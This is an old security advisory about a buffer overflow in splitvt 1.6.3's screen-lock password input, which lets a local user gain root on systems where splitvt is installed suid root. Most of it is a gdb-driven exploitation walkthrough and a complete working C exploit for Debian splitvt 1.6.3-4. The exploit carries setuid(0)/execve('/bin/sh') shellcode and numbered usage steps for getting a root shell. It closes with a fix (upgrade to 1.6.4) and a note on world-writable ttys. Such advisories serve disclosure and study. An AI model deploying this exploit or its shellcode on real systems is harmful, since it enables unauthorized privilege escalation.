|
Vulnerability splitvt Affected Linux Description 'syzop' found following. Splitvt 1.6.3 contains a buffer overflow, if you have installed splitvt suid root (like Debian/Redhat/etc, btw not slackware). The problem is in lock.c in lock_screen: if (cnt < BUFSIZ-1) *(nextbuf++) = c; This looks ok, but cnt is never increased. nextbuf is set to the buffer where the data should be stored, 1st time it's entered1 (password input), 2nd time it's entered2 (again password to verify), and: static char entered1[BUFSIZ], entered2[BUFSIZ]; BUFSIZ = 8192. Ok, let's see what gets overwritten... we start splitvt, ctrl+o, x: Enter password: blah Re-enter password: xxxxx<around 13.000 of x's (until we crash)> Program received signal SIGSEGV, Segmentation fault. 0x400b5786 in getc () (gdb) backtrace #0 0x400b5786 in getc () #1 0x804e028 in event_getc (X_event=0xbfffdb0c) at vtmouse.c:194 #2 0x8049d8c in main (argc=1, argv=0xbffffc14) at splitvt.c:387 #3 0x400847e2 in () Don't pay too much attention to the point of the crash, the only thing we now know is we can't overwrite the return address (or not enough), that's very logical with a function which is called for every single character. The backtrace doesn't seem to be interessting, possibly we have overwritten some important var or something. We must search for another way to jump to our exploit code... Let's see how entered2 and the memory after it looks like: 0x805c940 <entered2>: 0x78787878 0x78787878 0x78787878 0x78787878 0x805c950 <entered2+16>: 0x78787878 0x78787878 0x78787878 0x78787878 0x805c960 <entered2+32>: 0x78787878 0x78787878 0x78787878 0x78787878 -- snip -- 0x805e930 <entered2+8176>: 0x78787878 0x78787878 0x78787878 0x78787878 0x805e940 <marked>: 0x78787878 0x78787878 0x78787878 0x78787878 0x805e950 <on+8>: 0x78787878 0x78787878 0x78787878 0x78787878 etc etc, until: 0x805fa00 <next+128>: 0x78787878 0x78787878 0x78787878 0x78787878 0x805fa10 <next+144>: 0x78787878 0x78787878 0x78787878 0x78787878 0x805fa20 <tty_mode+4>: 0x78787878 0x78787878 0x78787878 0x78787878 0x805fa30 <curwin>: 0x78787878 0x78787878 0x78787878 0x78787878 0x805fa40 <physical+12>: 0x78787878 0x40141a78 0x40141b00 0x0805fa58 After further investigation the following vars are overwritten: marked, oldattr, on, selbuf, master_fd, next, tty_mode, curwin, physical Let's see... cut-paste.c:14:static int marked, oldattr; cut-paste.c:24:int *oldattr; cut-paste.c:215:static char selbuf[4096]; misc.c:128:int master_fd; vtmouse.c:163: static char prefix[8], *next; misc.c:426:struct termio tty_mode; /* Save tty mode here */ vt100.c:31:window *curwin; vt100.c:34:struct physical physical; Only the last two seem interessting: typedef struct { position cursor; /* The current position of cursor */ int rows; /* The number of rows in window */ int cols; /* The number of cols in window */ int row_offset; /* The physical offset of upper edge */ int scr_upper; /* Upper limit of scroll region */ int scr_lower; /* Lower limit of scroll region */ void (*process_char)(); /* Next output processing function */ enum keystate key_state; /* For vt100 keypad */ unsigned char charset[NCHARSETS]; /* Current character set */ unsigned char textattr; /* Current text attributes */ int esc_param[MAX_PARAMS], *cur_param; /* Escape parameters */ int param_idx; /* Current index into esc_param */ int **videomem; /* Storage for the virtual screen */ int *tabstops; /* Tabstops in the columns */ position saved_cursor; /* Saved cursor position */ unsigned char saved_textattr; /* Saved text attributes */ } window; struct physical { window *subwins[2]; /* The smaller, split sub-windows */ int rows; /* The number of rows on the screen */ int cols; /* The number of cols on the screen */ }; Hey, that looks nice! curwin->process_char... 'Next output processing function'. All we have to do is create our own window struct, put the address of our-window-struct into *curwin and put a pointer in our-window-structure.process_char to the exploit code. So: - Program reads curwin - Program reads process_char of our-window-struct - Program executes the function Let's first see how many characters we exactly need for our overflow, so we aren't going to overflow unneccesary characters (we don't want to segfault): 0x0805fa50 (curwin) - 0x0805c960 (buffer2) = 0x30f0 (12.528) Nice, so we want curwin to point to the begin of buffer2, 0x0805c960, let's test: (sleep 45; echo blaaaaaaaaa) ctrl+o, x, 'enter password' bla, 'enter password again', [0x40](100x) + [0x60 0xc9 0x05 0x08](12.428x). Program received signal SIGSEGV, Segmentation fault. 0x40404040 in ?? () (gdb) Wow! Our exploit will look like: <window-struct><NOPs><shellcode><pointers-to-window-struct> 'syzop' coded the exploit in c, using standard shellcode, then put the exploit output in a file, ftp'd it to windows (nobody is perfect) box and copy&pasted it using putty. But every time he tried to paste the 1st line he got 'Program exited normally.', so there was a special character in the exploit somewhere and after tracing he found out it was 0xFF. Great, now we've to create shellcode. There are 3 0xFF's... after disassembling we see this is because of the call -0x24 back, the shellcode does a jmp +0x1f and a call -0x24 to find out where the string /bin/sh is located. This isn't necessary since we know the exact location of the '/bin/sh' string. After a little change and removed the call, we try again... Wow we got a shell, but after a 'whoami' we aren't happy anymore.. no root, mmmm. Ofcourse, we have to do a setuid(0) first... After finding out how to do a setuid(0) in assembly language and again coding shellcode we have a new exploit... sh-2.02# root sh-2.02# uid=0(root) gid=1000(syzop) egid=0(root) groups=1000(syzop) sh-2.02# The terminal is screwed up (just a 'reset' and it's ok), however we got root! Now test it at the debian binary splitvt (latest version, 1.6.3-4). First we have to find out the address of the buffer again, let's see how we could do this... --[lock.c:50] if (strcmp(entered1, entered2) == 0) { sprintf(message, "Screen locked by %s. Enter password: ", Nice. ROOT@P166:/# gdb splitvt GNU gdb 4.17.m68k.objc.threads.hwwp.fpu.gnat Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-pc-linux-gnu"... (no debugging symbols found)... (gdb) break strcmp Breakpoint 1 at 0x8048fe4 (gdb) ignore 1 25 Will ignore next 25 crossings of breakpoint 1. (gdb) run splitvt is started.. ctrl+x, o, la, li, la, li, la, li etc.. ah, in the end: (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x40080e14 in strcmp () (gdb) disassemble strcmp Dump of assembler code for function strcmp: 0x40080e10 <strcmp>: pushl %ebp 0x40080e11 <strcmp+1>: movl %esp,%ebp 0x40080e13 <strcmp+3>: pushl %esi 0x40080e14 <strcmp+4>: movl 0x8(%ebp),%esi 0x40080e17 <strcmp+7>: movl 0xc(%ebp),%edx 0x40080e1a <strcmp+10>: leal 0x0(%esi),%esi (gdb) break *0x40080e17 Breakpoint 2 at 0x40080e17 (gdb) c Continuing. Breakpoint 2, 0x40080e17 in strcmp () (gdb) info register esi esi: 0x80572e4 134574820 So entered2 is at 0x80572e4. Working exploit for Debian follows below (you have to change it for redhat). You have to paste the stuff exactly, so using your mouse in (normal) console Linux to copy&paste won't work for several reasons. /* Local exploit for Debian splitvt 1.6.3-4 - by Syzop Thanks to aleph1 for writing the article about buffer overflows in phrack 49 :). Greetz: Terror, Scorpion, ^Stealth^, Jornx, Multani, and all other ppl of The^Alliance :) How to use the exploit ----------------------- 1. Use: ./splitexp >expcode to put the exploitcode into 'expcode'. 2. Start splitvt 3. Enter something like 'sleep 60; echo lalala' 4. Ctrl+O, x, 'Enter password' bla 5. Then splitvt says 'Re-enter password', this is the moment you have to follow the instructions in 'expcode' to paste the exploitcode to splitvt (don't press enter, see 6). 6. Wait until the sleep is done (or kill 'sleep' yourself from _another_ terminal). 7. You now got a rootshell, type 'reset' to get a normal terminal :). IMPORTANT NOTES!! ------------------ NOTE 1: You have to paste the data exactly, so just a paste with the mouse won't work since the shellcode also contains 08's (backspaces), So using mouse copy&paste in normal linux console mode doesn't work, I used windows with 'putty' NOTE 2: If you ftp the exploit code to a windows box, be sure to transfer the file in ASCII mode :). */ #include <stdlib.h> #include <stdio.h> #define NOP 0x90 /* The shellcode: setuid(0); execve("/bin/sh",NULL); exit(0);. Pointer to /bin/sh is static, so filled with 0x90s here, will be changed to an address at runtime. */ char shellcode[] = "\x31\xc0\x50\x89\xc3\xb0\x17\xcd" "\x80\xbe\x90\x90\x90\x90\x89\x76" "\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08" "\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80/bin/sh."; void main(int argc, char *argv[]) { char *buff, *ptr; char *pointerz; long *addr_ptr, addr; int i; long addr1=0x80592e4; // pointer to the middle of our window-struct long addr2; // pointer to position after 25% of the NOPs long addr3; // pointer to '/bin/sh' string fprintf(stderr,"Splitvt exploit by Syzop\n\n"); if (argc > 1) addr1 = atol(argv[1]); addr2=addr1+350; addr3=addr1+444; if (!(buff = malloc(1500))) { printf("Can't allocate memory.\n"); exit(0); } // set offset-to-/bin/sh in shellcode ptr = shellcode+10; addr_ptr = (long *) ptr; *(addr_ptr++) = addr3; // 0-300: the window struct // first filling with 0x40's ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < 300; i+=4) *(addr_ptr++) = 0x40404040; // set pointer to addr2 in curwin->process_char ptr = buff + 28; addr_ptr = (long *) ptr; *(addr_ptr++) = addr2; // this is the pointer to addr2 for (i = 300; i < 528; i++) // 300-END NOPs buff[i] = NOP; // 400-...: shellcode ptr = buff + 400; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[528] = '\0'; // Create the pointers-to-addr1-string. pointerz=(char *)malloc(1004); ptr = pointerz; addr_ptr = (long *) ptr; for (i = 0; i < 1000; i+=4) // 0-300: the window-structure *(addr_ptr++) = addr1; pointerz[1000]=0; printf("Paste this 1x:\n%s\n\nAnd this 12x:\n%s\n", buff, pointerz); } On SuSE splitvt isn't installed setuid on SuSE Linux. So how does it work? If it's not setuid, and has not been patched to use devpts, it has no way of chowning the tty's it uses. That means that when you run splitvt, you are typing into a shell that is connected to a tty that is (typically) mode: crw-rw-rw- 1 root tty 3, 176 Jun 14 14:53 /dev/ttya0 Thus, third parties can eg, write escape sequences to the terminal, and possibly remap keystrokes to do evil things. And they can certianly capture your keystokes to that terminal. Solution You should upgrade to 1.6.4. Debian users should look following URL: http://www.debian.org/security/2000/20000605a Note that in addition to the above fix, version 1.6.4-3 of splitvt in Debian is no longer suid root, just sgid utmp. Redhat did respond with a "that package comes from our 'contrib' section, which we do not maintain", so there isn't a new rpm (yet?), but you could download the source and compile 1.6.4 yourself. Source: http://www.devolution.com/~slouken/projects/splitvt/